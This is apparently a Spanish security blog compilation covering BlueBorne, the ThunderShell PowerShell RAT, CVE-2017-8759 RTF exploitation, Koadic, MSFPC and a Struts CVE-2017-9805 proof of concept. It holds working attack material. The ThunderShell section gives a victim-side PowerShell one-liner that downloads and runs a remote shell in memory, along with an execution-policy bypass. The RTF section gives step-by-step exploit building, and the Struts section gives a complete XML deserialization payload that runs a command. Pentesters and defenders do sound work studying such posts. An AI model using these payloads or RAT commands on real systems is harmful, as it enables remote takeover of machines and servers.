PoCs de BlueBorne

Una de las vulnerabilidades seguramente más impactantes de todo el año es BlueBorne. Descubierta por la empresa Armis, se trata de un conjunto de ocho exploits que permiten vulnerar prácticamente cualquier dispositivo Bluetooth y sin necesidad de que esté pareado con el atacante o que haya cualquier otra interacción... es decir, millones y millones de dispositivos están en serio riesgo sólo por tener activado Bluetooth. La única opción es instalar las últimas actualizaciones y lo antes posible.

Según los investigadores de Armis, "esta vulnerabilidad reside en el servicio Bluetooth Network Encapsulation Protocol (BNEP), que permite compartir Internet a través de una conexión Bluetooth (tethering). Debido a un fallo en el servicio de BNEP, un hacker puede desencadenar una corrupción de memoria "quirúrgica", que es fácil de explotar y permite ejecutar código en el dispositivo, otorgándole un control completo".

Además, cuando se tiene acceso al dispositivo es posible transmitir datos desde el dispositivo haciendo un MiTM. "La vulnerabilidad reside en el perfil PAN de la pila Bluetooth y permite al atacante crear una interfaz de red maliciosa en el dispositivo de la víctima, volver a configurar el enrutamiento IP y obligar al dispositivo a transmitir toda la comunicación a través de la interfaz de red malintencionada. Este ataque no requiere ninguna interacción del usuario, autenticación o emparejamiento, haciéndolo prácticamente invisible".

Para más información os recomiendo que echéis un vistazo al paper de Armis.

Las vulnerabilidades han sido bautizadas con los siguientes CVEs:
•    CVE-2017-0781 CVE-2017-0782, CVE-2017-0783 y CVE-2017-0785 para dispositivos Android.
•    CVE-2017-1000251 y CVE-2017-1000250 para Linux
•    CVE-2017-8628 en Windows.

Los vídeos con la PoC las demos son impresionantes pero el código del exploit, que es lo que todo el mundo anda buscando xD, todavía no está disponible. No obstante, todo parece indicar que es cuestión de tiempo y ya empiezan a surgir otras PoC independiente bastante interesantes. En este post intentaré ir publicando todas las pruebas con cada una de ellas que vaya surgiendo:

Descubriendo dispositivos Bluetooth cercanos (PyBluez)

# python
Python 2.7.13 (default, Jan 19 2017, 14:48:08) 
[GCC 6.3.0 20170118] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import bluetooth
>>> 
>>> nearby_devices = bluetooth.discover_devices()
>>> nearby_devices
['50:8F:XX:XX:XX:XX', 'C0:D9:YY:YY:YY:YY']

ThunderShell: un RAT en Powershell

ThunderShell de Mr-Un1k0d3r es un RAT en Powershell que se basa en el uso de peticiones HTTP para la comunicación con el C&C.

Todo el tráfico de red se cifra utilizando una segunda capa de RC4 para evitar la interceptación SSL y anular cualquier sonda IDS/IPS o elemento de seguridad perimetral en la red.

DEPENDENCIAS
apt install redis-server
apt install python-redis

INSTALACIÓN SERVIDOR                                              
# git clone https://github.com/Mr-Un1k0d3r/ThunderShell.git 
# cd ThunderShell

Para que la víctima se conecte con el servidor del atacante deberá ejecutar el cliente (PS-RemoteShell.ps1). Lo más rápido es dejarlo accesible en Internet y usar el método DownloadString para descargar el contenido y ejecutarlo en memoria (fileless), como veremos más adelante.

En la PoC lo serviremos mismamente con un sencillo servidor con Python:
# mkdir WEB
# mv PS-RemoteShell.ps1 WEB/
# cd WEB/
# python -m SimpleHTTPServer 12346 &

A continuación modificaremos el fichero de configuración (default.json) indicando los puertos e IPs del servidor redis y http donde escuchará el servidor:
{
        "redis-host": "localhost",
        "redis-port": 6379,

        "http-host": "X.X.23.32",
        "http-port": 8080,
        "http-server": "Microsoft-IIS/7.5",

        "https-enabled": "off",
        "https-cert-path": "cert.pem",

        "encryption-key": "test",
        "max-output-timeout": 5
}

Y lo lanzaremos simplemente con:
root@atacante:~/ThunderShell# python ThunderShell.py default.json 

Thunder Shell 1.1 | Clients Server CLI
Mr.Un1k0d3r RingZer0 Team 2017
--------------------------------------------------------

[+] Starting web server on X.X.23.32 port 8080
                 
CONEXIÓN DEL CLIENTE

Ahora, en el PC de la víctima deberemos ejecutar:
powershell -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://X.X.23.32:12346/PS-RemoteShell.ps1'); PS-RemoteShell -ip  X.X.23.32 -port 8080 -Key test -Delay 2000

Como veis utilizamos también el parámetro 'bypass' para evadir las políticas de ejecución de scripts.

Si es necesario, también podríamos modificar el payload según las defensas que encontremos en el equipo atacado. Por ejemplo, los administradores pueden bloquear PowerShell y otros intérpretes basados en una extensión, comúnmente .ps1. Para saltar esta restricción podríamos usar Get-Content para acceder al script en malware con extensión .ps2 y pasarla a Invoke-Expression (iex) para su ejecución:
powershell.exe –ep Bypass “& {Get-Content .\malware.ps2 | iex}

Metodología para bug bounties v2 de @jhaddix

Jason Haddix (@jhaddix) es un californiano que durante el 2014 y 2015 fue número 1 de los cazadores de bugs de Bugcrowd y actualmente está liderando la parte de seguridad y confianza de la compañía. Tal bagaje es para tener en cuenta, sobretodo cuando comparte una útil y valiosa metodología para bug bounties.

Su primera versión se basa en la charla de la Defcon 23 "How to shot Web: better hacking in 2015" y recientemente y con motivo de la primera Virtual Hacking Conference de Bugcrowd (LevelUp) ha publicado la segunda versión que, de seguro, será una guía a revisar e incluso un referente para muchos pentesters y “bug hunters”:

https://docs.google.com/presentation/d/1p8QiqbGndcEx1gm4_d3ne2fqeTqCTurTC77Lxe82zLY/edit#slide=id.p

Las secciones, actualizadas la mayoría hace cuatro meses, son las siguientes:

Atacando al atacante: vulnerabilidad RCE en Burp Suite 1.7.27

Probablemente Burp Suite es en la actualidad la herramienta de facto para el pentesting web. No es sólo un proxy para interceptar las peticiones entre el navegador y la aplicación destino, también incluye módulos para hacer escaneos activos, spidering, repetidor, intruder, etc. y no para de crecer el número de módulos y extensiones.

Por esa razón, cada vez hay más y más hackers y pentesters que la utilizan para auditar y comprometer aplicaciones web. Pero, ¿y si fuera la aplicación auditada la que acabara comprometiendo al auditor? Hackear a un hacker… sexy verdad?

Pues hoy veía un video de Sultan Albalawi en el que precisamente se mostraba eso, como es posible conseguir ejecución remota de comandos contra la máquina del atacante debido a una vulnerabilidad en la última versión de Burp Suite, la 1.7.27:


Imaginaros… la cantidad de honeypots que podrían instalarse en aplicaciones web a la espera de ser revisadas por incautos auditores que no imaginan si quiera que pudiera darse la vuelta a la tortilla…

De momento no he podido obtener detalle de la vulnerabilidad ni el código fuente de la PoC, mientras... si lo consigues.. ¡comenta!

Explotando CVE-2017-8759: inyección de código en el parser WSDL SOAP (sólo haciendo clic en un RTF y sin necesidad de habilitar macros)

Recientemente FireEye descubrió una vulnerabilidad de inyección de código que se produce en el marco .NET al analizar un WSDL utilizando el moniker SOAP. Bautizada como CVE-2017-8759, ya se estaba explotando en Internet mediante un documento de Microsoft Word en ruso “Проект.doc” con el que los atacantes conseguían ejecución de comandos y descargaban y ejecutaban un script en Visual Basic que contenía también comandos en Powershell. Se trataba del malware FINSPY también conocido como FinFisher o WingBird.

Posteriormente, la gente de MDSec publicó un interesante artículo donde explican cómo explotar esta vulnerabilidad pero además sin la interacción del usuario en el RTF, es decir, solo con hacer clic ya se obtiene la ejecución de comandos, sin necesidad de habilitar las macros.

En primer lugar, hay que crear un documento con un nuevo objeto OLE (nuevo documento, insertar objeto y crear desde archivo):


A continuación, guardamos el archivo como RTF y volvemos a abrirlo usando un editor hexadecimal. Después localizamos el parámetro "objdata" para identificar dónde está el OLE blob. Cuando encontremos el parámetro, debemos agregar la directiva "\objupdate". Por ejemplo:

{\object\objautlink\objupdate\rsltpict\objw9027\objh450{\*\objclass Word.Document.8}{\*\objdata

Una vez editado, descargamos "blob.bin" de este repositorio GitHub, lo abrimos de nuevo con un editor hexadecimal y actualizamos la URL del archivo WSDL que contiene la inyección de comandos. El OLE blob debe ser utilizado para reemplazar el del documento RTF existente.

En este punto, al abrir el documento RTF, el exploit debería ejecutar el archivo HTA señalado en el WSDL, sin interacción del usuario.

A continuación se muestra un vídeo sobre cómo explotar esta vulnerabilidad:

Fuente: Exploiting CVE-2017-8759: SOAP WSDL Parser Code Injection

WinConMon o cómo monitorizar la consola de Windows

A principio del mes de septiembre, en el blog de FireEye, Andrew Davis publicó un par de artículos bastante interesantes en los que hablaba de cómo estaba implementada la consola en las distintas versiones de Windows y de los conceptos necesarios para capturar los datos que se escriben en la misma:

https://www.fireeye.com/blog/threat-research/2017/08/monitoring-windows-console-activity-part-one.html
https://www.fireeye.com/blog/threat-research/2017/08/monitoring-windows-console-activity-part-two.html

Cómo podéis imaginar, capturar esta actividad permite algo tan útil como monitorizar el uso de programas de consola interactivos a través de RDP como el símbolo del sistema, PowerShell y, a veces, herramientas personalizadas de control de comandos y control (C2). Sin embargo, el código fuente para hacerlo no fue desvelado :(

Ante tal intransigencia de la gente de Fireye, el mismísimo Ojo de Ra (aka @EyeOfRa) desde HaNoi, VietNam, ha desarrollado WinConMon su propia versión para monitorizar la consola de Windows (a partir de Windows 8). Por supuesto tenéis disponible el código en Github y sólo necesitaréis Visual Studio 2015 (con WDK 10), Osrloader v3.0 y DbgView para montaros una PoC rápida.

Demo:


Github: https://github.com/EyeOfRa/WinConMon

Koadic: post-explotación usando Windows Script Host

En la pasada Defcon, el Red Team de RiskSense presentó una interesante herramienta que ellos describen como un "Advanced JScript/VBScript RAT"

Se trata de Koadic o COM Command & Control, un rootkit de post-explotación de Windows similar a otras herramientas de pentesting como Meterpreter, Cobalt Strike o Powershell Empire.

La principal diferencia es que Koadic hace la mayoría de sus operaciones usando Windows Script Host (aka JScript/VBScript) y tiene compatibilidad para soportar desde una instalación predeterminada de Windows 2000 sin service packs (y potencialmente incluso versiones de NT4) hasta Windows 10.

Es posible servir completamente los payloads en memoria desde el stage 0, así como utilizar comunicaciones cifradas seguras a través de SSL y TLS (dependiendo de lo que haya habilitado el sistema operativo de víctima).

Koadic también intenta ser compatible con Python 2 y 3.

Demo

- Hookea un zombie
- Eleva integridad (UAC Bypass)
- Vuelca la SAM/SECURITY para obtener contraseñas
- Escanea la red local para SMB abiertos
- Pivota a otra máquina

Interesante lista de procesos de Windows que un software malicioso intenta matar

Por lo general, las piezas modernas de malware implementan técnicas anti-depuración y anti-VM. Realizan algunas comprobaciones contra el objetivo y cuando se encuentra un resultado positivo, salen en silencio ...

Esas comprobaciones pueden estar probando la resolución de la pantalla, la actividad de un usuario conectado, la presencia de archivos en el escritorio, etc. Pero también buscan interesantes procesos que podrían revelar que están siendo monitorizados o depurados. Esto se consigue normalmente a través de la llamada al sistema GetProcessesByName.
Por ejemplo:

processName = "tool_executed_by_analyst"
processList = Process.GetProcessesByName(processName)
If processList.Count > 0 Then
    ' Process is running, exit silently...
Else
    ' Process is not running, do our malicious stuff...
End If

Pero esta vez, Xavier Mertens del blog /dev/random nos hablaba de un artefacto algo mas tosco que no buscaba procesos sospechosos para salir de forma silenciosa, si no que directamente intentaba terminar un montón de procesos directamente con taskkill.exe:

taskkill.exe /IM /T /F

"/IM" se refiere al nombre de la imagen del proceso, "/T" significa terminar todos los procesos secundarios y "/F" significa forzar matar el proceso . Como podéis imaginar, una técnica bastante agresiva.

De cualquier forma, es interesante tener esta lista de procesos que, como veréis a continuación, algunos son bien conocidos y otros bastante exóticos:

MSFvenom Payload Creator (MSFPC), una forma rápida de generar payloads de Meterpreter con Msfvenom

MSFvenom Payload Creator (MSFPC) es un wrapper para generar múltiples tipos de payloads, basados en la elección del usuario. La idea es ser tan simple como sea posible (sólo requiere una entrada) para producir un payload.

El objetivo final es la completa automatización de msfvenom y Metasploit (así como ser capaz de automatizarse a sí mismo). El resto es hacer que la vida del usuario sea lo más sencilla posible (por ejemplo mediante un menú de selección de IP, archivos/comandos de recursos de msfconsole, creación de payloads por lotes y posibilidad de ingresar cualquier argumento en cualquier orden).

La única entrada necesaria del usuario debería ser la definición que quiere del payload con la plataforma (por ejemplo, Windows) y la extensión de archivo que quiere que tenga (por ejemplo, exe).
  • ¿No puedes recordar la IP de una interfaz? No te preocupes, simplemente usa el nombre de la interfaz: eth0.
  • ¿No sabes cuál es tu IP externa? MSFPC lo descubrirá: wan.
  • ¿Quieres generar un payload de cada? ¡Sin problema! Prueba: loop.
  • ¿Quieres crear payloads masivamente? ¿Todos? ¿O filtrar la selección? .. Se cual sea la elección no hay problema. Prueba: batch (para todos), batch MSF (para cada opción Meterpreter), batch staged (para todos los payloads staged) o batch cmd stageless (para todos los prompts de comandos stageless)!
Nota: Esto NO intentará bypassear ninguna solución antivirus en ninguna etapa.

Instalación
  • Diseñado para Kali Linux v2.x/Rolling y Metasploit v4.11+.
  • En Kali v1.x debería funcionar.
  • En OSX 10.11+ debería funcionar.
  • En Weakerth4n 6+ debería funcionar.
  • ...no se ha probado en nada más.
$ curl -k -L "https://raw.githubusercontent.com/g0tmi1k/mpc/master/msfpc.sh" > /usr/local/bin/msfpc
$ chmod 0755 /usr/local/bin/msfpc

Nuevo exploit crítico para Struts (CVE-2017-9805): de la deserialización insegura a RCE

Investigadores de LGTM, una compañía que ofrece soluciones de análisis de código, reportaron el 17 de julio una vulnerabilidad crítica que afecta al plugin REST de todas las versiones de Apache Struts publicadas desde 2008, de la 2.5 a la 2.5.12.

La vulnerabilidad etiquetada con el CVE CVE-2017-9805 (S2-052) permite ejecución remota de comandos (RCE) gracias a un proceso inseguro de deserialización de payloads XML que realiza el plugin REST mediante el manejador XStream. Más concretamente mediante el interfaz ContentTypeHandler, el cual convierte los datos de entrada del usuario en objetos java. El método toObject() que utiliza no impone ninguna restricción en los datos que recibe y, como podéis imaginar, si se envía un XML malicioso el resultado es la ejecución arbitraria de comandos que comentamos.

El parche para dicha vulnerabilidad fue publicado el pasado martes con la versión de Struts 2.5.13, pero el problema es que a partir de ahí han surgido pruebas de concepto y exploits funcionales (incluso un módulo de metasploit) que permiten comprometer a numerosas aplicaciones web que utilizan el plugin REST (la mayoría en entornos enterprise) y que, dado la reciente publicación del parche, todavía no han sido actualizadas.

Para más inri, “es increiblemente fácil de explotar por un atacante … todo lo que necesitas es un navegador web”, sirva de ejemplo la siguiente PoC:
POST /struts2-rest-showcase/orders/3 HTTP/1.1
Host: 127.0.0.1:9090
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: application/xml
Content-Length: 2447
Connection: close

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>/bin/sh</string><string>-c</string><string>ping -c 1 192.168.2.122</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer/>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

Y cómo se puede ver en las siguientes imágenes, con el nuevo módulo de Metasploit nos traemos una sesión de Meterpreter fácilmente:



Así que, como habéis podido comprobar, existen numerosas empresas que utilizan Apache Struts2 en alguna de sus aplicaciones web y están en serio riesgo.

Es la segunda vulnerabilidad crítica que afecta a este framework, después de la etiquetada como CVE-2017-5638 y que fue activamente explotada en marzo. No queda otra, hay que volver a actualizar y urgentemente...

Fuentes:

- Using QL to find a remote code execution vulnerability in Apache Struts (CVE-2017-9805)
- New Critical Apache Struts2 Vulnerability Found (CVE-2017-9805)
- New Apache Struts Vulnerability Puts Many Fortune Companies at Risk
- S2-052的POC测试,高危Struts REST插件远程代码执行漏洞(S2-052),S2-052的 Poc
- Struts2-052 RCE CVE-2017-9805漏洞复现分析【附GIF】
- S2-052的POC测试(原名:Tomcat部署war)
- Critical vulnerability CVE-2017-9805 in Apache Struts could be exploited by attackers to take over affected web servers
- Add Apache Struts 2 REST Plugin XStream RCE (Metasploit)
- Apache Struts RCE tool for CVE 2017-9805 (Go)
- Struts CVE-2017-9805 RCE flaw could be exploited to take over vulnerable servers
- A critical Apache Struts security flaw makes it 'easy' to hack Fortune 100 firms
- Java Unmarshaller Security - Turning your data into code execution